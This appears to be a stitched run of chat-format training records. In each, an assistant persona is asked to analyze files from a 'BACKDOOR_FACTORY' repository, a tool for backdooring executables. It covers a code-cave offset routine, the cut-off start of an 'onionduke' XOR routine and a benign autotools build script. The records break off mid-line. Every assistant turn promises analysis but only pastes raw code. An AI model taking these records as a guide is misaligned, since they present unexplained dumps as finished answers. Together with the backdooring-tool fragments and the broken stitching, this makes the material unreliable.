cavetwo_found is False:\n rva_two = int(flItms['CavesPicked'][cavetwo][1], 16) - int(flItms['CavesPicked'][cavetwo][4], 16) + flItms['CavesPicked'][cavetwo][8]\n cavetwo_found = True\n\n if caveone_found is True and cavetwo_found is True:\n if flItms['CavesPicked'][caveone][1] < flItms['CavesPicked'][cavetwo][1]:\n return -(rva_one - rva_two)\n else:\n return rva_two - rva_one\n\n except Exception:\n return 0\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: onionduke/onionduke.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python\n'''\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport struct\nimport os\n\n\ndef xor_file(input_file, output_file, xorkey):\n number_added = 0\n while True:\n\n some_bytes = input_file.read(4)\n if len(some_bytes) == 0:\n break\n if len(some_bytes) % 4 != 0:\n number_added = 4 - len(some_bytes)\n some_bytes = some_bytes + \"\\x00\" * (number_added)\n\n writable_bytes = struct.pack(\""} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: osslsigncode/autogen.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/bin/sh\n# a u t o g e n . s h\n#\n# Copyright (c) 2005-2009 United States Government as represented by\n# the U.S. Army Research Laboratory.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided\n# with the distribution.\n#\n# 3. The name of the author may not be used to endorse or promote\n# products derived from this software without specific prior written\n# permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS\n# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n# GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n###\n#\n# Script for automatically preparing the sources for compilation by\n# performing the myriad of necessary steps. The script attempts to\n# detect proper version support, and outputs warnings about particular\n# systems that have autotool peculiarities.\n#\n# Basically, if everything is set up and installed correctly, the\n# script will validate that minimum versions of the GNU Build System\n# tools are installed, account for several common configuration\n# issues, and then simply run autoreconf for you.\n#\n# If autoreconf fails, which can happen for many valid configurations,\n# this script proceeds to run manual preparation steps effectively\n# providing a POSIX shell script (mostly complete) reimplementation of\n# autoreconf.\n#\n# The AUTORECONF, AUTOCONF, AUTOMAKE, LIBTOOLIZE, ACLOCAL, AUTOHEADER\n# environment variables and corresponding _OPTIONS variables (e.g.\n# AUTORECONF_OPTIONS) may be used to override the default automatic\n# detection behaviors. Similarly the _VERSION variables will override\n# the minimum required version numbers.\n#\n# Examples:\n#\n# To obtain help on usage:\n# ./autogen.sh --help\n#\n# To obtain verbose output:\n# ./autogen.sh --verbose\n#\n# To skip autoreconf and prepare manually:\n# AUTORECONF=false ./autogen.sh\n#\n# To verbosely try running with an older (unsupported) autoconf:\n# AUTOCONF_VERSION=2.50 ./autogen.sh --verbose\n#\n# Author:\n# Christopher Sean Morrison \n#\n# Patches:\n# Sebastian Pipping \n#\n######################################################################\n\n# set to minimum acceptable version of autoconf\nif [ \"x$AUTOCONF_VERSION\" = \"x\" ] ; then\n AUTOCONF_VERSION=2.52\nfi\n# set to minimum acceptable version of automake\nif [ \"x$AUTOMAKE_VERSION\" = \"x\" ] ; then\n AUTOMAKE_VERSION=1.6.0\nfi\n# set to minimum acceptable version of libtool\nif [ \"x$LIBTOOL_VERSION\" = \"x\" ] ; then\n LIBTOOL_VERSION=1.4.2\nfi\n\n\n##################\n# ident function #\n##################\nident ( ) {\n # extract copyright from header\n __copyright=\"`grep Copyright $AUTOGEN_SH | head -${HEAD_N}1 | awk '{print $4}'`\"\n if [ \"x$__copyright\" = \"x\" ] ; then\n\t__copyright=\"`date +%Y`\"\n fi\n\n # extract version from CVS Id string\n __id=\"$Id: autogen.sh 33925 2009-03-01 23:27:06Z brlcad $\"\n __version=\"`echo $__id | sed 's/.*\\([0-9][0-9][0-9][0-9]\\)[-\\/]\\([0-9][0-9]\\)[-\\/]\\([0-9][0-9]\\).*/\\1\\2\\3/'`\"\n if [ \"x$__version\" = \"x\" ] ; then\n\t__version=\"\"\n fi\n\n echo \"autogen.sh build preparation script by Christopher Sean Morrison\"\n echo \" + config.guess download patch by Sebastian Pipping (2008-12-03)\"\n echo \"revised 3-clause BSD-style license, copyright (c) $__copyright\"\n echo \"script version $__version, ISO/IEC 9945 POSIX shell script\"\n}\n\n\n##################\n# USAGE FUNCTION #\n##################\nusage ( ) {\n echo \"Usage: $AUTOGEN_SH [-h|--help] [-v|--verbose] [-q|--quiet] [-d|--download] [--version]\"\n echo \" --help Help on $NAME_OF_AUTOGEN usage\"\n echo \" --verbose Verbose progress output\"\n echo \" --quiet Quiet suppressed progress output\"\n echo \" --download Download the latest config.guess from gnulib\"\n echo \" --version Only perform GNU Build System version checks\"\n echo\n echo \"Description: This script will validate that minimum versions of the\"\n echo \"GNU Build System tools are installed and then run autoreconf for you.\"\n echo \"Should autoreconf fail, manual preparation steps will be run\"\n echo \"potentially accounting for several common preparation issues. The\"\n\n echo \"AUTORECONF, AUTOCONF, AUTOMAKE, LIBTOOLIZE, ACLOCAL, AUTOHEADER,\"\n echo \"PROJECT, & CONFIGURE environment variables and corresponding _OPTIONS\"\n echo \"variables (e.g. AUTORECONF_OPTIONS) may be used to override the\"\n echo \"default automatic detection behavior.\"\n echo\n\n ident\n\n return 0\n}\n\n\n##########################\n# VERSION_ERROR FUNCTION #\n##########################\nversion_error ( ) {\n if [ \"x$1\" = \"x\" ] ; then\n\techo \"INTERNAL ERROR: version_error was not provided a version\"\n\texit 1\n fi\n if [ \"x$2\" = \"x\" ] ; then\n\techo \"INTERNAL ERROR: version_error was not provided an application name\"\n\texit 1\n fi\n $ECHO\n $ECHO \"ERROR: To prepare the ${PROJECT} build system from scratch,\"\n $ECHO \" at least version $1 of $2 must be installed.\"\n $ECHO\n $ECHO \"$NAME_OF_AUTOGEN does not need to be run on the same machine that will\"\n $ECHO \"run configure or make. Either the GNU Autotools will need to be installed\"\n $ECHO \"or upgraded on this system, or $NAME_OF_AUTOGEN must be run on the source\"\n $ECHO \"code on another system and then transferred to here. -- Cheers!\"\n $ECHO\n}\n\n##########################\n# VERSION_CHECK FUNCTION #\n##########################\nversion_check ( ) {\n if [ \"x$1\" = \"x\" ] ; then\n\techo \"INTERNAL ERROR: version_check was not provided a minimum version\"\n\texit 1\n fi\n _min=\"$1\"\n if [ \"x$2\" = \"x\" ] ; then\n\techo \"INTERNAL ERROR: version check was not provided a comparison version\"\n\texit 1\n fi\n _cur=\"$2\"\n\n # needed to handle versions like 1.10 and 1.4-p6\n _min=\"`echo ${_min}. | sed 's/[^0-9]/./g' | sed 's/\\.\\././g'`\"\n _cur=\"`echo ${_cur}. | sed 's/[^0-9]/./g' | sed 's/\\.\\././g'`\"\n\n _min_major=\"`echo $_min | cut -d. -f1`\"\n _min_minor=\"`echo $_min | cut -d. -f2`\"\n _min_patch=\"`echo $_min | cut -d. -f3`\"\n\n _cur_major=\"`echo $_cur | cut -d. -f1`\"\n _cur_minor=\"`echo $_cur | cut -d. -f2`\"\n _cur_patch=\"`echo $_cur | cut -d. -f3`\"\n\n if [ \"x$_min_major\" = \"x\" ] ; then\n\t_min_major=0\n fi\n if [ \"x$_min_minor\" = \"x\" ] ; then\n\t_min_minor=0\n fi\n if [ \"x$_min_patch\" = \"x\" ] ; then\n\t_min_patch=0\n fi\n if [ \"x$_cur_minor\" = \"x\" ] ; then\n\t_cur_major=0\n fi\n if [ \"x$_cur_minor\" = \"x\" ] ; then\n\t_cur_minor=0\n fi\n if [ \"x$_cur_patch\" = \"x\" ] ; then\n\t_cur_patch=0\n fi\n\n $VERBOSE_ECHO \"Checking if ${_cur_major}.${_cur_minor}.${_cur_patch} is greater than ${_min_major}.${_min_minor}.${_min_patch}\"\n\n if [ $_min_major -lt $_cur_major ] ; then\n\treturn 0\n elif [ $_min_major -eq $_cur_major ] ; then\n\tif [ $_min_minor -lt $_cur_minor ] ; then\n\t return 0\n\telif [ $_min_minor -eq $_cur_minor ] ; then\n\t if [ $_min_patch -lt $_cur_patch ] ; then\n\t\treturn 0\n\t elif [ $_min_patch -eq $_cur_patch ] ; then\n\t\treturn 0\n\t fi\n\tfi\n fi\n return 1\n}\n\n\n######################################\n# LOCATE_CONFIGURE_TEMPLATE FUNCTION #\n######################################\nlocate_configure_template ( ) {\n _pwd=\"`pwd`\"\n if test -f \"./configure.ac\" ; then\n\techo \"./configure.ac\"\n elif test -f \"./configure.in\" ; then\n\techo \"./configure.in\"\n elif test -f \"$_pwd/configure.ac\" ; then\n\techo \"$_pwd/configure.ac\"\n elif test -f \"$_pwd/configure.in\" ; then\n\techo \"$_pwd/configure.in\"\n elif test -f \"$PATH_TO_AUTOGEN/configure.ac\" ; then\n\techo \"$PATH_TO_AUTOGEN/configure.ac\"\n elif test -f \"$PATH_TO_AUTOGEN/configure.in\" ; then\n\techo \"$PATH_TO_AUTOGEN/configure.in\"\n fi\n}\n\n\n##################\n# argument check #\n##################\nARGS=\"$*\"\nPATH_TO_AUTOGEN=\"`dirname $0`\"\nNAME_OF_AUTOGEN=\"`basename $0`\"\nAUTOGEN_SH=\"$PATH_TO_AUTOGEN/$NAME_OF_AUTOGEN\"\n\nLIBTOOL_M4=\"${PATH_TO_AUTOGEN}/misc/libtool.m4\"\n\nif [ \"x$HELP\" = \"x\" ] ; then\n HELP=no\nfi\nif [ \"x$QUIET\" = \"x\" ] ; then\n QUIET=no\nfi\nif [ \"x$VERBOSE\" = \"x\" ] ; then\n VERBOSE=no\nfi\nif [ \"x$VERSION_ONLY\" = \"x\" ] ; then\n VERSION_ONLY=no\nfi\nif [ \"x$DOWNLOAD\" = \"x\" ] ; then\n DOWNLOAD=no\nfi\nif [ \"x$AUTORECONF_OPTIONS\" = \"x\" ] ; then\n AUTORECONF_OPTIONS=\"-i -f\"\nfi\nif [ \"x$AUTOCONF_OPTIONS\" = \"x\" ] ; then\n AUTOCONF_OPTIONS=\"-f\"\nfi\nif [ \"x$AUTOMAKE_OPTIONS\" = \"x\" ] ; then\n AUTOMAKE_OPTIONS=\"-a -c -f\"\nfi\nALT_AUTOMAKE_OPTIONS=\"-a -c\"\nif [ \"x$LIBTOOLIZE_OPTIONS\" = \"x\" ] ; then\n LIBTOOLIZE_OPTIONS=\"--automake -c -f\"\nfi\nALT_LIBTOOLIZE_OPTIONS=\"--automake --copy --force\"\nif [ \"x$ACLOCAL_OPTIONS\" = \"x\" ] ; then\n ACLOCAL_OPTIONS=\"\"\nfi\nif [ \"x$AUTOHEADER_OPTIONS\" = \"x\" ] ; then\n AUTOHEADER_OPTIONS=\"\"\nfi\nif [ \"x$CONFIG_GUESS_URL\" = \"x\" ] ; then\n CONFIG_GUESS_URL=\"http://git.savannah.gnu.org/gitweb/?p=gnulib.git;a=blob_plain;f=build-aux/config.guess;hb=HEAD\"\nfi\nfor arg in $ARGS ; do\n case \"x$arg\" in\n\tx--help) HELP=yes ;;\n\tx-[hH]) HELP=yes ;;\n\tx--quiet) QUIET=yes ;;\n\tx-[qQ]) QUIET=yes ;;\n\tx--verbose) VERBOSE=yes ;;\n\tx-[dD]) DOWNLOAD=yes ;;\n\tx--download) DOWNLOAD=yes ;;\n\tx-[vV]) VERBOSE=yes ;;\n\tx--version) VERSION_ONLY=yes ;;\n\t*)\n\t echo \"Unknown option: $arg\"\n\t echo\n\t usage\n\t exit 1\n\t ;;\n esac\ndone\n\n\n#####################\n# environment check #\n#####################\n\n# sanity check before recursions potentially begin\nif [ ! -f \"$AUTOGEN_SH\" ] ; then\n echo \"INTERNAL ERROR: $AUTOGEN_SH does not exist\"\n if [ ! \"x$0\" = \"x$AUTOGEN_SH\" ] ; then\n\techo \"INTERNAL ERROR: dirname/basename inconsistency: $0 != $AUTOGEN_SH\"\n fi\n exit 1\nfi\n\n# force locale setting to C so things like date output as expected\nLC_ALL=C\n\n# commands that this script expects\nfor __cmd in echo head tail pwd ; do\n echo \"test\" | $__cmd > /dev/null 2>&1\n if [ $? != 0 ] ; then\n\techo \"INTERNAL ERROR: '${__cmd}' command is required\"\n\texit 2\n fi\ndone\necho \"test\" | grep \"test\" > /dev/null 2>&1\nif test ! x$? = x0 ; then\n echo \"INTERNAL ERROR: grep command is required\"\n exit 1\nfi\necho \"test\" | sed \"s/test/test/\" > /dev/null 2>&1\nif test ! x$? = x0 ; then\n echo \"INTERNAL ERROR: sed command is required\"\n exit 1\nfi\n\n\n# determine the behavior of echo\ncase `echo \"testing\\c\"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in\n *c*,-n*) ECHO_N= ECHO_C='\n' ECHO_T='\t' ;;\n *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;;\n *) ECHO_N= ECHO_C='\\c' ECHO_T= ;;\nesac\n\n# determine the behavior of head\ncase \"x`echo 'head' | head -n 1 2>&1`\" in\n *xhead*) HEAD_N=\"n \" ;;\n *) HEAD_N=\"\" ;;\nesac\n\n# determine the behavior of tail\ncase \"x`echo 'tail' | tail -n 1 2>&1`\" in\n *xtail*) TAIL_N=\"n \" ;;\n *) TAIL_N=\"\" ;;\nesac\n\nVERBOSE_ECHO=:\nECHO=:\nif [ \"x$QUIET\" = \"xyes\" ] ; then\n if [ \"x$VERBOSE\" = \"xyes\" ] ; then\n\techo \"Verbose output quelled by quiet option. Further output disabled.\"\n fi\nelse\n ECHO=echo\n if [ \"x$VERBOSE\" = \"xyes\" ] ; then\n\techo \"Verbose output enabled\"\n\tVERBOSE_ECHO=echo\n fi\nfi\n\n\n# allow a recursive run to disable further recursions\nif [ \"x$RUN_RECURSIVE\" = \"x\" ] ; then\n RUN_RECURSIVE=yes\nfi\n\n\n################################################\n# check for help arg and bypass version checks #\n################################################\nif [ \"x`echo $ARGS | sed 's/.*[hH][eE][lL][pP].*/help/'`\" = \"xhelp\" ] ; then\n HELP=yes\nfi\nif [ \"x$HELP\" = \"xyes\" ] ; then\n usage\n $ECHO \"---\"\n $ECHO \"Help was requested. No preparation or configuration will be performed.\"\n exit 0\nfi\n\n\n#######################\n# set up signal traps #\n#######################\nuntrap_abnormal ( ) {\n for sig in 1 2 13 15; do\n\ttrap - $sig\n done\n}\n\n# do this cleanup whenever we exit.\ntrap '\n # start from the root\n if test -d \"$START_PATH\" ; then\n\tcd \"$START_PATH\"\n fi\n\n # restore/delete backup files\n if test \"x$PFC_INIT\" = \"x1\" ; then\n\trecursive_restore\n fi\n' 0\n\n# trap SIGHUP (1), SIGINT (2), SIGPIPE (13), SIGTERM (15)\nfor sig in 1 2 13 15; do\n trap '\n\t$ECHO \"\"\n\t$ECHO \"Aborting $NAME_OF_AUTOGEN: caught signal '$sig'\"\n\n\t# start from the root\n\tif test -d \"$START_PATH\" ; then\n\t cd \"$START_PATH\"\n\tfi\n\n\t# clean up on abnormal exit\n\t$VERBOSE_ECHO \"rm -rf autom4te.cache\"\n\trm -rf autom4te.cache\n\n\tif test -f \"acinclude.m4.$$.backup\" ; then\n\t $VERBOSE_ECHO \"cat acinclude.m4.$$.backup > acinclude.m4\"\n\t chmod u+w acinclude.m4\n\t cat acinclude.m4.$$.backup > acinclude.m4\n\n\t $VERBOSE_ECHO \"rm -f acinclude.m4.$$.backup\"\n\t rm -f acinclude.m4.$$.backup\n fi\n\n\t{ (exit 1); exit 1; }\n' $sig\ndone\n\n\n#############################\n# look for a configure file #\n#############################\nif [ \"x$CONFIGURE\" = \"x\" ] ; then\n CONFIGURE=\"`locate_configure_template`\"\n if [ ! \"x$CONFIGURE\" = \"x\" ] ; then\n\t$VERBOSE_ECHO \"Found a configure template: $CONFIGURE\"\n fi\nelse\n $ECHO \"Using CONFIGURE environment variable override: $CONFIGURE\"\nfi\nif [ \"x$CONFIGURE\" = \"x\" ] ; then\n if [ \"x$VERSION_ONLY\" = \"xyes\" ] ; then\n\tCONFIGURE=/dev/null\n else\n\t$ECHO\n\t$ECHO \"A configure.ac or configure.in file could not be located implying\"\n\t$ECHO \"that the GNU Build System is at least not used in this directory. In\"\n\t$ECHO \"any case, there is nothing to do here without one of those files.\"\n\t$ECHO\n\t$ECHO \"ERROR: No configure.in or configure.ac file found in `pwd`\"\n\texit 1\n fi\nfi\n\n####################\n# get project name #\n####################\nif [ \"x$PROJECT\" = \"x\" ] ; then\n PROJECT=\"`grep AC_INIT $CONFIGURE | grep -v '.*#.*AC_INIT' | tail -${TAIL_N}1 | sed 's/^[ \t]*AC_INIT(\\([^,)]*\\).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n if [ \"x$PROJECT\" = \"xAC_INIT\" ] ; then\n\t# projects might be using the older/deprecated arg-less AC_INIT .. look for AM_INIT_AUTOMAKE instead\n\tPROJECT=\"`grep AM_INIT_AUTOMAKE $CONFIGURE | grep -v '.*#.*AM_INIT_AUTOMAKE' | tail -${TAIL_N}1 | sed 's/^[ \t]*AM_INIT_AUTOMAKE(\\([^,)]*\\).*/\\1/' | sed 's/.*\\[\\(.*\\)\\].*/\\1/'`\"\n fi\n if [ \"x$PROJECT\" = \"xAM_INIT_AUTOMAKE\" ] ; then\n\tPROJECT=\"project\"\n fi\n if [ \"x$PROJECT\" = \"x\" ] ; then\n\tPROJECT=\"project\"\n fi\nelse\n $ECHO \"Using PROJECT environment variable override: $PROJECT\"\nfi\n$ECHO \"Preparing the $PROJECT build system...please wait\"\n$ECHO\n\n\n########################\n# check for autoreconf #\n########################\nHAVE_AUTORECONF=no\nif [ \"x$AUTORECONF\" = \"x\" ] ; then\n for AUTORECONF in autoreconf ; do\n\t$VERBOSE_ECHO \"Checking autoreconf version: $AUTORECONF --version\"\n\t$AUTORECONF --version > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t HAVE_AUTORECONF=yes\n\t break\n\tfi\n done\nelse\n HAVE_AUTORECONF=yes\n $ECHO \"Using AUTORECONF environment variable override: $AUTORECONF\"\nfi\n\n\n##########################\n# autoconf version check #\n##########################\n_acfound=no\nif [ \"x$AUTOCONF\" = \"x\" ] ; then\n for AUTOCONF in autoconf ; do\n\t$VERBOSE_ECHO \"Checking autoconf version: $AUTOCONF --version\"\n\t$AUTOCONF --version > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t _acfound=yes\n\t break\n\tfi\n done\nelse\n _acfound=yes\n $ECHO \"Using AUTOCONF environment variable override: $AUTOCONF\"\nfi\n\n_report_error=no\nif [ ! \"x$_acfound\" = \"xyes\" ] ; then\n $ECHO \"ERROR: Unable to locate GNU Autoconf.\"\n _report_error=yes\nelse\n _version=\"`$AUTOCONF --version | head -${HEAD_N}1 | sed 's/[^0-9]*\\([0-9\\.][0-9\\.]*\\)/\\1/'`\"\n if [ \"x$_version\" = \"x\" ] ; then\n\t_version=\"0.0.0\"\n fi\n $ECHO \"Found GNU Autoconf version $_version\"\n version_check \"$AUTOCONF_VERSION\" \"$_version\"\n if [ $? -ne 0 ] ; then\n\t_report_error=yes\n fi\nfi\nif [ \"x$_report_error\" = \"xyes\" ] ; then\n version_error \"$AUTOCONF_VERSION\" \"GNU Autoconf\"\n exit 1\nfi\n\n\n##########################\n# automake version check #\n##########################\n_amfound=no\nif [ \"x$AUTOMAKE\" = \"x\" ] ; then\n for AUTOMAKE in automake ; do\n\t$VERBOSE_ECHO \"Checking automake version: $AUTOMAKE --version\"\n\t$AUTOMAKE --version > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t _amfound=yes\n\t break\n\tfi\n done\nelse\n _amfound=yes\n $ECHO \"Using AUTOMAKE environment variable override: $AUTOMAKE\"\nfi\n\n\n_report_error=no\nif [ ! \"x$_amfound\" = \"xyes\" ] ; then\n $ECHO\n $ECHO \"ERROR: Unable to locate GNU Automake.\"\n _report_error=yes\nelse\n _version=\"`$AUTOMAKE --version | head -${HEAD_N}1 | sed 's/[^0-9]*\\([0-9\\.][0-9\\.]*\\)/\\1/'`\"\n if [ \"x$_version\" = \"x\" ] ; then\n\t_version=\"0.0.0\"\n fi\n $ECHO \"Found GNU Automake version $_version\"\n version_check \"$AUTOMAKE_VERSION\" \"$_version\"\n if [ $? -ne 0 ] ; then\n\t_report_error=yes\n fi\nfi\nif [ \"x$_report_error\" = \"xyes\" ] ; then\n version_error \"$AUTOMAKE_VERSION\" \"GNU Automake\"\n exit 1\nfi\n\n\n########################\n# check for libtoolize #\n########################\nHAVE_LIBTOOLIZE=yes\nHAVE_ALT_LIBTOOLIZE=no\n_ltfound=no\nif [ \"x$LIBTOOLIZE\" = \"x\" ] ; then\n LIBTOOLIZE=libtoolize\n $VERBOSE_ECHO \"Checking libtoolize version: $LIBTOOLIZE --version\"\n $LIBTOOLIZE --version > /dev/null 2>&1\n if [ ! $? = 0 ] ; then\n\tHAVE_LIBTOOLIZE=no\n\t$ECHO\n\tif [ \"x$HAVE_AUTORECONF\" = \"xno\" ] ; then\n\t $ECHO \"Warning: libtoolize does not appear to be available.\"\n\telse\n\t $ECHO \"Warning: libtoolize does not appear to be available. This means that\"\n\t $ECHO \"the automatic build preparation via autoreconf will probably not work.\"\n\t $ECHO \"Preparing the build by running each step individually, however, should\"\n\t $ECHO \"work and will be done automatically for you if autoreconf fails.\"\n\tfi\n\n\t# look for some alternates\n\tfor tool in glibtoolize libtoolize15 libtoolize14 libtoolize13 ; do\n\t $VERBOSE_ECHO \"Checking libtoolize alternate: $tool --version\"\n\t _glibtoolize=\"`$tool --version > /dev/null 2>&1`\"\n\t if [ $? = 0 ] ; then\n\t\t$VERBOSE_ECHO \"Found $tool --version\"\n\t\t_glti=\"`which $tool`\"\n\t\tif [ \"x$_glti\" = \"x\" ] ; then\n\t\t $VERBOSE_ECHO \"Cannot find $tool with which\"\n\t\t continue;\n\t\tfi\n\t\tif test ! -f \"$_glti\" ; then\n\t\t $VERBOSE_ECHO \"Cannot use $tool, $_glti is not a file\"\n\t\t continue;\n\t\tfi\n\t\t_gltidir=\"`dirname $_glti`\"\n\t\tif [ \"x$_gltidir\" = \"x\" ] ; then\n\t\t $VERBOSE_ECHO \"Cannot find $tool path with dirname of $_glti\"\n\t\t continue;\n\t\tfi\n\t\tif test ! -d \"$_gltidir\" ; then\n\t\t $VERBOSE_ECHO \"Cannot use $tool, $_gltidir is not a directory\"\n\t\t continue;\n\t\tfi\n\t\tHAVE_ALT_LIBTOOLIZE=yes\n\t\tLIBTOOLIZE=\"$tool\"\n\t\t$ECHO\n\t\t$ECHO \"Fortunately, $tool was found which means that your system may simply\"\n\t\t$ECHO \"have a non-standard or incomplete GNU Autotools install. If you have\"\n\t\t$ECHO \"sufficient system access, it may be possible to quell this warning by\"\n\t\t$ECHO \"running:\"\n\t\t$ECHO\n\t\tsudo -V > /dev/null 2>&1\n\t\tif [ $? = 0 ] ; then\n\t\t $ECHO \" sudo ln -s $_glti $_gltidir/libtoolize\"\n\t\t $ECHO\n\t\telse\n\t\t $ECHO \" ln -s $_glti $_gltidir/libtoolize\"\n\t\t $ECHO\n\t\t $ECHO \"Run that as root or with proper permissions to the $_gltidir directory\"\n\t\t $ECHO\n\t\tfi\n\t\t_ltfound=yes\n\t\tbreak\n\t fi\n\tdone\n else\n\t_ltfound=yes\n fi\nelse\n _ltfound=yes\n $ECHO \"Using LIBTOOLIZE environment variable override: $LIBTOOLIZE\"\nfi\n\n\n############################\n# libtoolize version check #\n############################\n_report_error=no\nif [ ! \"x$_ltfound\" = \"xyes\" ] ; then\n $ECHO\n $ECHO \"ERROR: Unable to locate GNU Libtool.\"\n _report_error=yes\nelse\n _version=\"`$LIBTOOLIZE --version | head -${HEAD_N}1 | sed 's/[^0-9]*\\([0-9\\.][0-9\\.]*\\)/\\1/'`\"\n if [ \"x$_version\" = \"x\" ] ; then\n\t_version=\"0.0.0\"\n fi\n $ECHO \"Found GNU Libtool version $_version\"\n version_check \"$LIBTOOL_VERSION\" \"$_version\"\n if [ $? -ne 0 ] ; then\n\t_report_error=yes\n fi\nfi\nif [ \"x$_report_error\" = \"xyes\" ] ; then\n version_error \"$LIBTOOL_VERSION\" \"GNU Libtool\"\n exit 1\nfi\n\n\n#####################\n# check for aclocal #\n#####################\nif [ \"x$ACLOCAL\" = \"x\" ] ; then\n for ACLOCAL in aclocal ; do\n\t$VERBOSE_ECHO \"Checking aclocal version: $ACLOCAL --version\"\n\t$ACLOCAL --version > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t break\n\tfi\n done\nelse\n $ECHO \"Using ACLOCAL environment variable override: $ACLOCAL\"\nfi\n\n\n########################\n# check for autoheader #\n########################\nif [ \"x$AUTOHEADER\" = \"x\" ] ; then\n for AUTOHEADER in autoheader ; do\n\t$VERBOSE_ECHO \"Checking autoheader version: $AUTOHEADER --version\"\n\t$AUTOHEADER --version > /dev/null 2>&1\n\tif [ $? = 0 ] ; then\n\t break\n\tfi\n done\nelse\n $ECHO \"Using AUTOHEADER environment variable override: $AUTOHEADER\"\nfi\n\n\n#########################\n# check if version only #\n#########################\n$VERBOSE_ECHO \"Checking whether to only output version information\"\nif [ \"x$VERSION_ONLY\" = \"xyes\" ] ; then\n $ECHO\n ident\n $ECHO \"---\"\n $ECHO \"Version requested. No preparation or configuration will be performed.\"\n exit 0\nfi\n\n\n#################################\n# PROTECT_FROM_CLOBBER FUNCTION #\n#################################\nprotect_from_clobber ( ) {\n PFC_INIT=1\n\n # protect COPYING & INSTALL from overwrite by automake. the\n # automake force option will (inappropriately) ignore the existing\n # contents of a COPYING and/or INSTALL files (depending on the\n # version) instead of just forcing *missing* files like it does\n # for AUTHORS, NEWS, and README. this is broken but extremely\n # prevalent behavior, so we protect against it by keeping a backup\n # of the file that can later be restored.\n\n for file in COPYING INSTALL ; do\n\tif test -f ${file} ; then\n\t if test -f ${file}.$$.protect_from_automake.backup ; then\n\t\t$VERBOSE_ECHO \"Already backed up ${file} in `pwd`\"\n\t else\n\t\t$VERBOSE_ECHO \"Backing up ${file} in `pwd`\"\n\t\t$VERBOSE_ECHO \"cp -p ${file} ${file}.$$.protect_from_automake.backup\"\n\t\tcp -p ${file} ${file}.$$.protect_from_automake.backup\n\t fi\n\tfi\n done\n}\n\n\n##############################\n# RECURSIVE_PROTECT FUNCTION #\n##############################\nrecursive_protect ( ) {\n\n # for projects using recursive configure, run the build\n # preparation steps for the subdirectories. this function assumes\n # START_PATH was set to pwd before recursion begins so that\n # relative paths work.\n\n # git 'r done, protect COPYING and INSTALL from being clobbered\n protect_from_clobber\n\n if test -d autom4te.cache ; then\n\t$VERBOSE_ECHO \"Found an autom4te.cache directory, deleting it\"\n\t$VERBOSE_ECHO \"rm -rf autom4te.cache\"\n\trm -rf autom4te.cache\n fi\n\n # find configure template\n _configure=\"`locate_configure_template`\"\n if [ \"x$_configure\" = \"x\" ] ; then\n\treturn\n fi\n # $VERBOSE_ECHO \"Looking for configure template found `pwd`/$_configure\"\n\n # look for subdirs\n # $VERBOSE_ECHO \"Looking for subdirs in 